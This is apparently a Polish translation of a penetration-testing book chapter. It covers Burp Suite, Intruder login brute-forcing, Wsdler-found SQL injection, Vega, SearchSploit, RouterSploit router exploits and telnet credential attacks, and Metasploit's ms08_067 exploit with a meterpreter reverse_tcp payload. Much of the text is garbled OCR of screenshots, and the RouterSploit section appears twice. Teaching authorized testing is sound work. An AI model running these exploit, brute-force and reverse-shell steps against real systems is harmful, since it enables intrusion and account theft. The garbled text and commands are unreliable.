Ocena podatnosci
Wprowadzenie

W poprzednich rozdziatach oméwilismy rézne przepisy na zbieranie informacji o naszym celu. Teraz,
gdy mamy juz wszystkie te dane, musimy zaczg¢ szukac podatnosci. Aby zosta¢ dobrym pentesterem,
musimy upewnic sie, ze nie przeoczymy zadnych drobnych szczegdtéw.

Korzystanie z niestawnego Burp

Burp istnieje juz od lat; jest to zbiér wielu narzedzi zbudowanych w Javie przez PortSwigger web
security. Zawiera rdzne produkty, takie jak Decoder, Proxy, Scanner, Intruder, Repeater itd. Burp
zawiera Extender, ktéry pozwala uzytkownikowi fadowaé rézne rozszerzenia, ktére mogg byé uzywane
do uczynienia pentestingu jeszcze bardziej wydajnym! Dowiesz sie o niektérych z nich w
nadchodzacych przepisach.

Jak to zrobic...
Przyjrzyjmy sie, jak mozemy efektywnie uzywaé Burp:

1. Kali ma juz darmowg wersje Burp, ale bedziemy potrzebowaé petnej wersji, aby w petni korzystaé z
jej funkcji. Wiec otwieramy Burp:

[] Burp Suite Professional v1.7,16 - icensed te Himanshu Sharma [single user license]

Welcorme to Burp Suite Profescional, Use the cptions Below 16 create or open a project, l E II | E

PROFESSIONAL

&) Temparary projsct

_ New project on disk File Choosefile.. |

Kame

) Dpen existing project Mame File

Test ~[Volumes Transcend/ Office /test. burp

File: Choosefile., |

| Cancel | Mext |

2. Kliknij Start Burp, a zobaczymy tadowanie Burp:
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3. Zanim zaczniemy polowaé na btedy, najpierw zainstalujmy kilka rozszerzen, ktére mogg sie przydac.
Wybierz BApp Store z menu Extender:

BEApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Sulite, to exten

Name | Installed | Rating | Detail [
MMAP Parser it i
Motes ki -
Paramalyzer b

ParrotMG ik Pro extension
Payload Parser ki

Pcap Importer Tk Pro extension

POF Metadata ke

POF Viewer ik

Protobuf Decoder b &8 e

Python Scripter b s 2 % %8

Random IP Address Header L & & & &

Reflected Parameters b 5 3.8 &8 Pro extension

a

g

g

a

(|

g

a

d

a

(B

a

g
Reissue Request Scripter g AN
Report To Elastic Search a b 5.8 8 Pro extension
Request Randomizer (B ki
Retire js a b 2 5 % % 4 Pro extension
SAML Editor a ok
SAML Encoder [ Decoder a b 3. 3. Ve
SAML Raider g Tkt
Sentinel a kT N
Session Auth (B t 2 2 8 o
Session Timeout Test g ek
Site Map Fetcher g ik
Software Version Reporter g b .8 8 8" Pro extension
SOLIPy g kT
ThreadFix a b e Pro extension
WCF Deserializer g b 2 8 g¥avs
Webinspect Connector g ki Pro extension
WebSphere Portlet State Dec... g RN
What-The-WAF a ST
WSDL Wizard g b & A
Widler g Tk -
XS5 Validator =] ik bl




4. Zobaczymy liste rozszerzen. Niektore z rozszerzen, ktére bedziemy musieli zainstalowad, to:
* J2EEScan

* Wsdler

* Java Deserialization Scanner

* HeartBleed

5. Kliknij Install po wybraniu kazdego z tych rozszerzen.

6. Gdy wszystkie rozszerzenia sg juz ustawione, przygotowujemy sie do skanowania. Uruchamiamy
przegladarke i przechodzimy do jej preferencji:

General UNelwoiel Update  Encryption
Conneciion
Configure how Firefox connects to the Internet Seitings...
Offline Sterage

7. W ustawieniach sieciowych dodajemy adres IP i port serwera proxy HTTP:

Configure Proxies to Access the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings
O Manual proxy configuration:
HTTP Proxy: H2H0I0N Port: 8080 I
Use this proxy server for all protocols

SSL Proxy: 127.0.0.1 HPort

ool
FTP Proxy: 127.0.0.1 Port 808«
SOCKS Host: 127.0.0.1 Port BO8(
SOCKS vd4 «» SOCKS v5
No Proxy for: localhost, 127.0.0.1
Example: .mozilla.org, nel.nz, 192.168.1.0/24
Automatic proxy configuration URL:

@ Concel (D

8. Mozemy to sprawdzi¢ na karcie Opcje Burpa w menu Proxy:



| ; | HTTP histary | WebSockets history | Options ]

@

lﬂ] Burp Proxy uses listeners uo recene incoming HTTP requests fraom your browser. You will need to configure your browser to use g

Add Running | Interface | Inwisible Redirect Certificate
| 127.0.0.1:8080 (B Per-most
Edit
Remove :

9. Kliknij opcje Przechwytywanie, aby rozpocza¢ przechwytywanie zgdan:

_[ BFCe I HTTP histary ] WehSackets history ]I:Iptinn: ]

| #| £ Request to https://in.search.yahoo.com443 [106.10.170.150)

| Forward | Drop ] ' Intercept is on ' Action
Raw | Params T Headers T Hex ]

webh?hspart=iry&hsimp= 1 I ed lLl&type= xtad 1 deparaml= bea Sparam:

1 (HMa ki 1 1
P text/html,application/xhtml+xm juls ation/xml;g " q A
Accept-Language: sn-us,en;g=
K ept-Encoding: gzip, defla
B ha a0 |
kie E=351

10. Teraz przeglagdamy strone internetowa, ktérg musimy przeskanowac.

11. Gdy wszystkie zgdania zostang przechwycone, mozemy po prostu przejs¢ do Target i wybra¢ naszg
domene.

12. Aby wykonaé¢ skanowanie, mozemy wybraé poszczegdlne zadania i wystaé je do aktywnego
skanowania:

| http://testphp.vu ' : FTdmIE

http:/ /testphp v U AEcGc— - . I
T T S - .

hI:J.- j :ub:pl:u:.-,l..l TWE.., CE. M .E‘”:I FE.L.'j R

http:/ /testphp.vulnwe... GE artists.ph

hitp:/ ftestphpvulnwe... GET artists.ph Spider from here

http:/ ftestphpvulnwe... GET artists.ph Do an active scan

httn-f ltestnbn wislnwe GFT rart nhn Do o nmaceica cran

13. Mozna tez wybra¢ catg domene, ktérg chcemy wystac¢ do aktywnego skanowania:



5itunl|:] Scope |

Filter: Hiding not found items; hiding CSS, image and geny

'» O https://172.20.0.4:8090

L http:/ /download.macromedia.com

| http:/
http:/ | http:/ /testphp.vulnweb.com/
http:// Add to scope
http:// Spider this host

http://
http:/f [
http:/

yYYyY Y vy vyy

Passively scan this host

Engagement tools »

Compare site maps
Expand branch

Expand requested items
Delete host

Copy URLs in this host
Copy links in this host
Save selected items
Issues

y¥v

View
Show new site map window

Site map help

14. Po wystaniu zgdan do skanera przejdziemy do zaktadki Skaner i wybierzemy Opcje. Tutaj mozemy
powiedzie¢ skanerowi, czego doktadnie chcemy, aby szukat w naszej aplikacji:



w Active Scanning Areas

LEJ These settings control the types of checks performed during active scanning.

[ SOL injection
[# Error-based [ M55QL-specific checks
[ Time-delay checks [ Oracle-specific checks
@ Boolean condition checks [# MySQL-specific checks

[#f] O5 command injection
# Informed [# Blind

[ Server-side code injection

[ Server-side template injection (requires reflected X55)
[«f Reflected X55

[ Srored X55

[ Reflected DOM issues

[l Stored DOM issues

[ File path trawersal / manipulation

[#f] External / out-of-band interaction
[l HTTP header injection

[l SMTP header injection

[ XML / SOAP injection

[# LDAP injection

[ Cross-site request forgery

[ Open redirection

[ Header manipulation

[l Server-level issues

[ Input returned in response (reflected)
] Input returned in response (stored)

15. Wyniki naszego skanowania mozemy zobaczy¢ na karcie Kolejka skanowania:

K Scan item 4 | 5 issues | 42% comp

J Issues I Base request I Base response 1

&) Cross-site scripting (reflected)

S5QL injection

Cross-domain Referer leakage

Email addresses disclosed

Frameable response (potential Clickjacking)

e s s -




16. Karte kolejki skanowania mozna zobaczy¢ na ponizszym zrzucie ekranu:

Issue activity | Sean queue I Live scanning I Issue definitions TOnmﬁs ]

#
Ll
z
3 hetp:f testphp vulnweb.com
4 hetp:ftestphp vulmweb.com
5 http:f /testphp vulrweb.com
6 http:/ testphp vulrweb.com
7 hetp:ftestphp vulmweb.com
8 httg: ! testohp vulnweb.com

12 hetp:f /testphp vulmweb.com

Jcategories.php
Jstproducts.php
SAJAK index.php
SMod_Rewrite_Shop/
Jartists.php
fartists.php

fdisclaimer.php

6E6% complate
2 % complate
GE% complete
60% complete
BE% complate
14% complete

9 hetp:f testphp vulmweb.com Jrart.php GE% complete
Lo hop:f frestphp vulmweb.com Jeommentphp 313% complare
11 hetp:drestphp vulmweb.com jeommentphp 4 2% complete

0% complete

& Host URL | Status | Issues | Requess
https:/ f172.20,0.4 8090 o ginxmi abandoned - too many errer... 14
http:{/testphp vulrweb.com [/ finished 4 158

184

13 heorp:f frestphp vulmwe b.com Jguesthook.php walting
L4 hep:f/westphp vulrweb.com fhppy walting
15 http:/ /testphp vulmweb.com Sindex.php waiting
16 hetp:f frestphp vulrweb.eam HMistproducts php walting
17 hop:f restphp vulrweb.com Floginphp waiting
L& http://testphp vulmweb.com Jprivacy.php waiting
19 hetp:f ftestphp vulnweb.com Jfproduct.php waiting
20 horp:f resrphp voelowe b.oom Jproduct php waiting
21 hetpfjtestphpvulnweb.com  Jsearch.php waiting
22 hetp:f testphp vulmweb.com fsearch.php waiting
23 hetp:f testphp vulrweb.com Jfshowimage php waiting
24 hup:f/westphp vulrweb.com Juserinfophp waiting

Ponizszy zrzut ekranu przedstawia bardziej szczegétowo wyniki zaktadki Kolejka skanowania:

| o
J Issues I Base reguest ] Base response ]

Scan item 4 | b issues | 42% complete | http://testphp.vulnweb_comylistproducts. php

| @) Cross-site scripting (reflected)
! 50L injection
i Cross-domain Referer leakage
i Email addresses disclosed
| Frameable response (potential Clickjacking)

Advisory | Reguest |Hespnnu
_I Raw I Params

I-H.eaders THu: ]

I' /lizstpz .php?cat=1] | hmSigc<scrlip alart il 2L Eipto>m0lvE HTTR/1.1
I phy I
Dee Rgent ; M M I - b | . IF i i " .-
pt html ndxhtn xml,appli n/xmlig oF X |
pe=1 ja!
pC=Er ding: gzlip, de!

Chociaz tutaj uzywamy tylko kilku rozszerzen, moziesz wyswietli¢ cafta liste i wybra¢ wtasne
rozszerzenia. Rozszerzenia sg tatwe do skonfigurowania.



Wykorzystywanie WSDL z Wsdler

Web Services Description Language (WSDL) to jezyk oparty na XML, uzywany do opisywania
funkcjonalnosci oferowanych przez ustuge internetowa. Czesto podczas wykonywania projektu
pentestu mozemy znalez¢ plik WSDL na widoku, bez uwierzytelniania. W tym przepisie przyjrzymy sie,

jak mozemy skorzystaé¢ z WSDL.
Jak to zrobic...

Przechwytujemy zgdanie WSDL w Burp:

1. Kliknij prawym przyciskiem myszy zadanie i wybierz opcje Analizuj WSDL:

Reguest

Raw | Params l Headers ]HE:-{ |

Send to Spider

wsdl RITE

Do an active scan
Send to Intruder
Send to Repeater
Send to Sequencer
Send to Comparer
Send to Decoder

Request in browser »

E+"+l
X+~ +R

2. Przejdz do zaktadki Wsdler, a zobaczymy wszystkie wywotania serwisowe. Mozemy zobaczy¢ cate

zadanie, klikajac na dowolne z nich:

| ReceiverService % }

SelTableMame
GetTableName

Operation Binding

Insert Basic HitpBinding_IReceiverService
Update Basic HttpBinding_IReceiverService
Gerstatus BasicHripBinding_IRecelverservice
SerSratus Basic HpBinding_IReceiverService
SetPrimaryley Basic HrtpBinding_IReceiverService
CetPrimaryKey Basic HttpBinding_IRaceiversarvice

Basic HopBin ding_IReceiverService
Basic HipBinding_IReceiverService

Request

Raw Hex

. Aby méc sie nim pobawié, musimy wysta¢ go do Repeatera:




_[Recumrsuvke ] ]

Qperacion

Einding

Insert
Update

SetStatus

SetPrimarykey
GetPrimaryKey
setTableName
GetTahbleMame

Heguest

EasicHUpEINding_|IReceivarservice
BasicHtpBinding_IReceiverservice

BasicHttpBinding_IReceiverService
BasicHtrpEBinding_|IReceiverservice
BasicHttpBinding_|IReceiverService
EasicHpEInding_IRecevarservice
BasicHttpBinding_IReceiverService

Raw | Params [ Headers ]Hex I-HML ]

P evica.
D=er-2 1 Mozilla/S.
I Pt html;appl
RoCep age: enTUus
L1 F Air 1p;
ENSET. =t I 88
= - = eXT xn

CE.L.SWEC 1.1

L atosh: 1
Fplica nTml+
zip, deflate

18 i 1 A ;=

rempr I IThkecai
wml: t g
Xmins: sodpeny "http

Send to Spider
Do an active scan
Send to Intruder

Send to Repeater

Send to Sequencer
Send to Comparer
Send to Decoder
Request in browser
Parse W5DL

Engagement tools

E+=+l

5. W naszym przypadku widzimy, ze umieszczenie pojedynczego cudzystowu powoduje btad

Mamy mozliwosé wstrzykniecia SQL!

. | voila!



Ponizszy zrzut ekranu przedstawia atak SQL injection:

"*a!InternalServiceFault
Ang=" "Unterminated string. Expected delimiter: '. Fath '', linae 1,
position 1. . .

Dowiesz sie wiecej o wykorzystywaniu SQL w pdzZniejszych rozdziatach ksigzki.
Korzystanie z Intrudera

Intruder to swietne narzedzie, ktére pozwala nam wykonywac rdézne rodzaje atakéw, ktére mogg by¢
uzyte do znalezienia wszelkiego rodzaju luk. Oto niektdre z najczestszych atakdéw, ktére mozina
wykonaé za pomoca Intrudera:

* Bruteforce

* Fuzzing

* Enumeration

* DoS na warstwie aplikacji

Jak to zrobi€...

Zaczynamy od pobrania zgdania z naszych przechwyconych zadan:

1. Kliknij prawym przyciskiem myszy zadanie i wybierz Wyslij do Intrudera:



Contents
Host | Method | URL | Params | Statu
http://demo.testfire.net GET /bank/login.aspx O 200 A
( |w) POST /bank/login.aspx 200 T\
http://demo.testfire.net GET J g
http:/ /demo testfire.net GET [cgl.exe a
http://demo.testfire.net GET /default.aspx U
http:/ /demo.testfire.net GET Jdefault.aspx?content... )
http://demo.testfire.net GET /default.aspx?content... @
http://demo.testfire.net GET /default.aspx?content... )
http:/ /demo.testfire.net GET /default.aspx?content... ]
http://demo.testfire.net GET /default.aspx?content... «
http://demo.testfire.net GET default.aspx?content... &) v
| Send to Spider !
J“m] Response | Do an active scan
Do a passive scan oo
_[MI Params T Heade
Accept-Encoding: gzif Send to Repeater B+ 4R A
Accept-Charset: 150-9 Send to Sequencer
bf‘;i“[ e }fj’f l [GEMEY Send to Comparer
VOOK1&: AoP.NL OoRES
amSessionld=12Z021114§ Send to Decoder
Content-Type: applicqd Showresponse in browser
Content-Length: 37 Request in browser >
Connection: close Engagememtools >
uid=adminépassw=widfl Copy URL
Copv as curl command

2. Przejdz do zaktadki Intruder. Musimy okresli¢ pozycje tadunku, a mozemy to zrobi¢, wybierajac
miejsce, ktére chcemy lub wybierajgc tadunek i klikajgc przycisk Add §:



.Targat Pasitions l Payloads | Optigns
2| FPayl ositi Start atlack
Configure the positions where payloads will be inserted into the base request. The attack type deter mines the way in
which payloads are assigned to payload positions — see help for full detalls.
Attack type: | Sniper _'l'j
Dankslogin. aspy HI L
- L | Add § J
Br=AQERnT ozl ! Hacint K- ntel Ma 1 ¥ EI LOL1) BOE 1
: E L tx 1 K =
. iq | Auto § |
L FEET: T50-88 8ig +pgei | Refresh |
5 http - eetfire, net fhan P S
3 1k ] i F 1
ntent P FE 1 m d
L WEdEDE I
-
r
| 7 l < -+ J| £ ype a search term 0 miatches | Clear |
1 payload position Length: 600

3. W naszym przypadku, poniewaz przeprowadzamy atak sitowy na logowanie, uzyjemy ataku typu
Pitchfork:

Attack type: [Sﬂip!r a

Sniper

‘band Rartering ram
“| pitehfark
Cluster hamb

4. Nastepnie przechodzimy do zaktadki Payloads. Tutaj wprowadzimy nasze payloads:

[ Target T Positions I Payloads I Options ]

[1_-||

You can define one or more payload sets. The number of payload sets depends on thy
Positions tab. Various payload types are available for each payload set, and each payli

different ways.
Payload set: |1 _‘I'J Payload count: O
Payload type: | Simple list EJ Request count: O

5. Wybieramy zestaw 1 i poniewaz stosujemy metode bruteforce, mozemy wybrac prosta liste jako typ
Payload.



6. W opcjach Payload okreslamy liste stow, na podstawie ktorych chcemy przetestowad aplikacje.
Mozemy je wprowadzi¢ recznie lub wybraé wstepnie utworzona liste:

This payload type lets you r_n:mfigurc asimple list qutrings that are used as payl

Pas{e [ admin
* | administrator
Load .. | admin 1
roger
Remove |  13Mes
— | packt
Clear |
Add | |
Add from list .. __vJ

7. Teraz wybieramy zestaw 2 i ponownie okreslamy liste haset, ktére chcemy, aby narzedzie
wyprébowato:

¥
This paylead type bets you configure a simple list of strings that are used as payl]
Paste admin
administrator
Load ... admin]
rager
Remove James
packt
Clear
Add |
Add from list ... A

8. Burp umozliwia nam dostosowanie ataku poprzez mozliwos¢ konfiguracji takich rzeczy jak liczba
watkdéw, wybdr opcji przekierowan, a nawet Grep - Match na karcie Opcje:



[Tarnel T Positions T Payloads '[Dptbuns ]

o e

[] Store full payloads

Match

ll,l Grep
IEJ These settings can be used to flag result items containing specified expressions.

] Flag result items with responses matching these expressions:

error i

Paste
l4J exception
Loadee ilegal
imvalid
Fr— fail [,
| Remove | stack
Clear ACCESS
l-—-l directory
file v
mat foiind

Add | |Enter 2 newitem

Match type: i@ Simple string
) Regex

[ Case sensitive match
[ Exclude HTTP headers

9. Klikamy na Rozpocznij atak:

[lsuhs TTargru r Positions T Payloads TDntic—ns ]

Filter: Showing all items |zj
Request & | Payloadl Payload2 | Status Error | Timeout | Length | Comment
1] 200 a O ETE
1 admin password 200 | L QBTG
2 ad ministranor passwo ol 23 200 = C QRE4
3 adminl admin 200 (W] QBF7
4 roger admin@l 23 200 .| [ ELE
all 7 L
I Request | R ponse ]
J R [ Params THeaders THeu ]
ACCRpL: text/htnl;appl tionsxhtnl+yml;application/uml; g 3 &
focept-Language: en-us rg=0.5
poccept-Enc deflate
pecept-Charset 9-1,urf-8:q=0. ig=

far g t ir

iez A am e nld=
e i =4

1RE

a amin CaSsSW minibtn bmit LOgln w
l ? Jl_ < JL + J > Vo earch ta 0 matches




10. Pojawi sie nowe okno, pokazujgce wszystkie wyniki przeprowadzonego ataku.
Tutaj uzylismy tylko jednego typu trybu ataku (Pitchfork).
Test penetracyjny aplikacji internetowych z Vega

Vega to narzedzie do testowania penetracyjnego aplikacji internetowych typu open source,
wbudowane w Jave. Posiada oparte na JavaScript API, co czyni je jeszcze bardziej wydajnym i
elastycznym. Vega jest dos$¢ tatwa w uzyciu w ponizszym przepisie, a dowiesz sie, jak wykonac
skanowanie za jej pomoca.

Przygotowania

Niektére wersje Kali nie majg zainstalowanego Vega, ale mozna go zainstalowa¢ za pomocg polecenia:
apt-get install vega

Jak to zrobic...

1. Vega jest wbudowana w Kali i mozna jg uruchomi¢ za pomoca tego polecenia:

vega

Poprzednie polecenie otwiera narzedzie Vega:

Subgraph Vega = o x
File Scan Window Help
.~ I @) Scanner ¥ Proxy
& Website View = 0O [ Scan Info =0
& P ® s # =
(D Scan Alerts =8
Scan Alert Summanry
o0 = =
o
@
A1 ldentities 22 3 0O

2. Istniejg dwa sposoby rozpoczecia skanowania w Vega — wybierajgc tryb skanera lub tryb proxy.
Tutaj przyjrzymy sie trybowi skanera.

3. Wybieramy opcje Rozpocznij nowe skanowanie z menu Skanowanie:



File Scan Window Help

C Start New Scan Ctri+N
\
| Edit Target Scope Ctri+E
| & Wahcite View =0 (D scan Infn

4. W oknie wpisujemy adres URL strony i klikamy Dalej:

Select a Scan Target

Choose a target for new g VEGA

sCan

Scan Target

*! Enter a base URI for scan:

testphp vulnweb.c umfl

Choose a target scope for scan

Web Model
'

Mext = Cancel Finish

5. Nastepnie mozemy wybraé moduty, ktére chcemy uruchomic:



Select modules to run
[=I Injection Modules
» Bash Environment Variable Blind OS Injection (CVE-2014-6271,
» HTTP Trace Probes
Format String Injection Checks
¥ Cross Domain Policy Auditor
¥ XML Injection checks

»" Eval Code Injection

6. W tym kroku mozemy wprowadzi¢ pliki cookie:

dentity to use during scan

Authentication Options
Configure cockies and authentication VEGA
Identity to scan site as:

Set-Cookie or Set-Cookie2 value:

Add cookie

Remove selected cookie(s)

7. Nastepnie okreslamy czy chcemy wykluczy¢ jakies parametry i klikamy Zakonicz:



h Webs te View =

& & ® a8 B A
- @ testphp.vulnweb.com I
C @
- @

O F B

B 0 12/31/2016 22:59: 45 [A

(D) Scan Alerts =B

As Identities I

@ Scan Info =0
Scanner Progress
http:ftestphp.vulnweb. com/cart.php
3 out of 76 scanned (3.9%)
=28

8. Wyniki i luki w zabezpieczeniach mozemy zobaczyé w lewym panelu:

+ @ High (11)
+ @ Medium (5)
@ Low (2)

2 @ Info (17)

B O 12/31/2016 22:59:46 [A

0 http://testphp.vulnwek

E %

9. Klikniecie na alert pokazuje nam szczegéty:




F AT A GLAMCE

£ lanwiFicalion Input Validstion Errar
Resource feamment.php
Paramet er name

Method POST

Rk Faon

F REQUEST
FOST jcomment. php [Rame=-»"»"»" comment =ywega Submit=%ubmit phpaction=edho % POSTloomment];

F DISCUSSION

Cross-site soripting (X85) s a class of vunersbilties afecting web applicatiors that can result in securty controls implsmantad in browsers
being circumuertad. When = browser visits 2 page on a website, sorpt code origirating In the website domain can access and manipulate
the G0 [diocument object modell, a repressntation of the page and its properties in the browser. Script code from ancther websie can
rot. This i3 known &= the “=am= angin policy”. a crtical cortrol in the browssr security mods=l Cross-ste soipting wuiherabibties oocur when
alack of input wvaldation permits users to mpect sopt code mto the target webste such that it runs in the browses af ancther user whao is
wisking the same wabane, This would cincumvant the Browser same-ongin palicy because the browser has ne way to distinguish authentic

10. Podobnie jak Burp, Vega ma réwniez funkcje proxy, dzieki ktérej mozemy przechwytywac i
analizowa¢ zadania recznie!

11. Mozemy edytowac i odtwarzac zagdania, aby wykonac reczne sprawdzenie:
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Eksploracja SearchSploit

SearchSploit to narzedzie wiersza polecen, ktére pozwala nam wyszukiwac i przeglada¢ wszystkie
exploity dostepne w exploitdb.

Jak to zrobic...
1. Aby wyswietli¢ pomoc, wpisujemy nastepujgce polecenie:

searchsploit -h



Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

~# searchspleit -h
e: searchsploit [options] terml [termZ] ... [termN]

afd windows local
-t oracle windows

Perform a case-sensitive search (Default is insensitive).
Show this help
Search just the exploit title (Default is title AND the file's

Yerbose output. Title lines are allowed to overflow thelr colum
“Ww S IRL s rather than local path.

--colour C 0 ihlighting.
--1d Display EDB-ID value rather than local path.

2. Mozemy przeprowadzi¢ wyszukiwanie, po prostu wpisujgc stowo kluczowe, a jesli chcemy skopiowadé
exploit do naszego katalogu roboczego, uzywamy tego:

searchsploit -m exploitdb-id

Ponizszy zrzut ekranu jest przyktadem poprzedniego polecenia:

Wykorzystywanie routeréw za pomocg RouterSploit

RouterSploit to framework do wykorzystywania routeréw, ktéry zostat zaprojektowany specjalnie dla
urzadzen wbudowanych. Sktada sie z trzech gtéwnych modutdéw:

exploits: zawiera liste wszystkich publicznie dostepnych exploitéw
creds: stuzy do testowania logowan dla réznych urzadzen
scanners: stuzy do sprawdzania konkretnego exploita na konkretnym urzadzeniu

Przygotowanie



Zanim zaczniemy, bedziemy musieli zainstalowaé RouterSploit w Kali; niestety nie jest on dostarczany
z oficjalng instalacjg systemu operacyjnego. Instalacja RouterSploit jest bardzo prosta, tak jak
zainstalowalismy kilka narzedzi na poczatku

Jak to zrobic...

1. Uzywamy nastepujgcego polecenia, aby sklonowac repozytorium GitHub:
git clone https://github.com/reverse-shell/routersploit

Wykorzystywanie routeréw za pomocga RouterSploit

RouterSploit to framework do wykorzystywania routerdow, ktéry zostat zaprojektowany specjalnie dla
urzadzen wbudowanych. Sktada sie z trzech gtéwnych modutow:

exploits: zawiera liste wszystkich publicznie dostepnych exploitéw

creds: stuzy do testowania logowan do réznych urzadzen

scanners: stuzy do sprawdzania konkretnego exploita na konkretnym urzadzeniu
Przygotowania

Zanim zaczniemy, bedziemy musieli zainstalowa¢ RouterSploit w Kali; niestety nie jest on dostarczany
z oficjalng instalacjg systemu operacyjnego. Instalacja RouterSploit jest bardzo prosta, tak jak
zainstalowalismy kilka narzedzi na poczatku

Jak to zrobié...
1. Uzywamy nastepujgcego polecenia, aby sklonowac repozytorium GitHub:
git clone https://github.com/reverse-shell/routersploit

2. Przechodzimy do katalogu za pomocg polecenia cd routersploit i uruchamiamy plik w nastepujacy
sposdb:

Jrsf.py

Ponizszy zrzut ekranu pokazuje wynik kroku 1:

root@kali: ~

# git clone https://github.com/reverse-shell/routersploit

3. Aby uruchomié exploit na routerze, po prostu wpisujemy:
use exploits/routername/exploitname

Ponizszy zrzut ekranu pokazuje przyktad poprzedniego polecenia:

-]

use exploits/dlink/dcs_9301 auth_rce
)




4. Teraz widzimy opcje dostepne dla wybranego przez nas exploita. Uzywamy nastepujgcego
polecenia:

show options

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

Tar get optlions:

Module options:
MNane Current settings

adnin Usermame to 1
- rd 1o log 1

5. Ustawiamy cel za pomoca nastepujgcego polecenia:
set target 192.168.1.1

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

> set target 192.168.1.1

rsf | 1 = run
Bu

target seems to be not vulnerable

Korzystanie z polecenia skanerow

Ponizsze kroki demonstrujg korzystanie ze skanerdw:

1. Aby przeskanowad router Cisco, uzywamy nastepujgcego polecenia:
use scanners/cisco_scan

2. Teraz sprawdzamy inne opcje:

show options

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:



rsf

larget options:

Name Current settings

Module options:

Name current sett

threads

3. Aby uruchomié skanowanie celu, najpierw ustawiamy cel:
set target x.x.x.x

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

Uzywanie creds

Mozna tego uzyé do testowania domysinych kombinacji haset w ustugach za pomocg ataku
stownikowego:

1. Uzywamy polecenia creds, aby uruchomi¢ atak stownikowy w réznych ustugach:
use creds/telnet_bruteforce

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

root@kal: ~/routersploit




2. Nastepnie przyjrzyjmy sie opcjom:
show options

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

Target options:

T Current settings Descripticr

arget IP address or file with target:port (file://)
Target port

3. Teraz ustawiamy docelowy adres IP:
set target X.x.x.x

4. Pozwalamy mu dziataé¢, a on pokaze nam wszystkie znalezione loginy.

) > set target
')

¢ ) > run

Running module. ..

worker-0 thread is starting...

worker thread 1s starting...

worker-2 thread 1s starting...
worker-3 thread is starting...
worker-4 thread is starting...
worker-5 thread is starting...
worker-6 thread is starting...
worker-7 thread is starting...

Korzystanie z Metasploit

Metasploit jest najszerzej uzywanym narzedziem open source do testéw penetracyjnych. Zostato
opracowane przez HD Moore w 2001 r. w Perlu; pdiniej zostato catkowicie przepisane w Ruby, a
nastepnie przejete przez Rapid7. Metasploit zawiera zbiér exploitéw, tadunkéw i koderdw, ktére
mozna wykorzysta¢ do identyfikacji i wykorzystania luk w zabezpieczeniach podczas projektu testéw
penetracyjnych. W tym rozdziale oméwimy kilka przepiséw, ktére umozliwig bardziej wydajne
korzystanie z Metasploit Framework (MSF).

Jak to zrobic...

Ponizsze kroki demonstrujg uzycie MSF:

1. Uruchom MSF, wpisujgc nastepujace polecenie:
msfconsole

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:



[i:~# msfconso

BRARFBAE
HERHBRHRABREB BRI
RARRUBERAHRABBERABRGEH
BRARBRABBRATRAEREBRARTBURE
BRBARRFERERAF R REBRERR B BERE
HEBBRRRH R B BRRAEG BB RBRBRBRRRE
URB BB HUH BB BB RUBUE BB BB BERE RS
HEBBRAFAFEBE AT RA BB RABRRALRBLEE
FRR R TR R RO RARAERERATRRLTETE
- RERFR AR B
wERE  ##
REH  BRB
R BER
wpyy BANBRVBLRN BEEY
HBBBUGUARBECHAGRARUBRHRN HRBE
BHBRRNBRRBWRNARBHBNS  BH28
BRUBHEBERBURABRERE BEBR
HUHBBRBBHRRY ##
HHRRIT 272
FHBHRRIRG BHERH
RARUBBRATRIE REBBRE
BREBEBER BRRBRBRBE
BRUBE BRABRRER
#HH# BEABRBUBSE
HERBER BERABRRBBERE
BHULLBRARBEBEBARRBBBERE
# # #AE 2 B £E
HUNBRBRGRU BB RSB BB R BB ERE
i #HOBR it
http://metasploit.com

2. Aby wyszukac¢ exploit, wpisujemy:
search exploit_name

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

3. Aby uzy¢ exploita, wpisujemy:
use exploits/path/to/exploit

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:



Ty I,

smb/msR8 067 netapi

4. Nastepnie sprawdzamy opcje, wpisujac:
show options

5. Tutaj musimy ustawié¢ tadunek, docelowy adres IP, localhost i port, ktéry chcemy dla potfaczenia
zwrotnego.

6. Ustawiamy cel, uzywajac:

set RHOST x.x.x.x

7. Ustawiamy tadunek w ten sposdb:

set payload windows/meterpreter/reverse_tcp

8. Nastepnie ustawiamy lhost i Iport, w ktérych chcemy nawigza¢ potaczenie:
set lhost x.x.x.x

set Iport 4444

9. Teraz uruchamiamy polecenie exploit:

exploit

10. Po pomysinym wykorzystaniu luk przyjrzymy sie sesji meterpretera:

Mimo ze w tym przypadku wykorzystalismy tylko protokdét Windows reverse_tcp, Metasploit oferuje
wiele innych tadunkéw w zaleznosci od uzywanego systemu operacyjnego lub aplikacji internetowe;.

Automatyzacja Metasploit



Metasploit obstuguje automatyzacje na réine sposoby. Jednym z takich sposobodw, ktory tutaj

omowimy, jest skrypt zasobdw.

Skrypt zasobu to w zasadzie zestaw polecen, ktdre uruchamiajg sie automatycznie po zatadowaniu

skryptu. Metasploit zawiera juz zestaw wstepnie zbudowanych skryptéw, ktére okazujg sie najbardziej

przydatne w korporacyjnym srodowisku pentestingu

auto brute. re

autocrawler.rc Dé : 0
auto_cred_checker.rc ) ie only.
autoexploit.rc discovery. rc

auto pass the hash. rc | ormat_generator, rc

auto win32 multihandler.rc sql_brute.rc

bap_all.rc : 1_pos

bap_dryrun_only.rc 1ESSUS
:/usr/share/metasplo

Jak to zrobic...
Ponizsze kroki demonstrujg automatyzacje Metasploit:
1. Uruchamiamy Metasploit za pomoca nastepujgcego polecenia:

msfconsole

) ids. rc
gracle_tns.rc
port_cleaner.rc
portscan.rc
run_all _post.rc
wmap_autotest.rc

/resource#

Wynik poprzedniego polecenia pokazano na ponizszym zrzucie ekranu:

:~# msfconsole

AARRFTEY
HRIEFHURIEH LRGSR U Y
HHH BRI AARRTH ORI B
BEERPREU YR BEL LB LL GG PRI
e e e R a2 3
B e e 8
PIBCR ISR ISI0IS 81 SISISIBIRISI818:8 81 818. 8818 8 Si81S18:813 14
SrRmidsgpRiigatisrpatigyantegnt
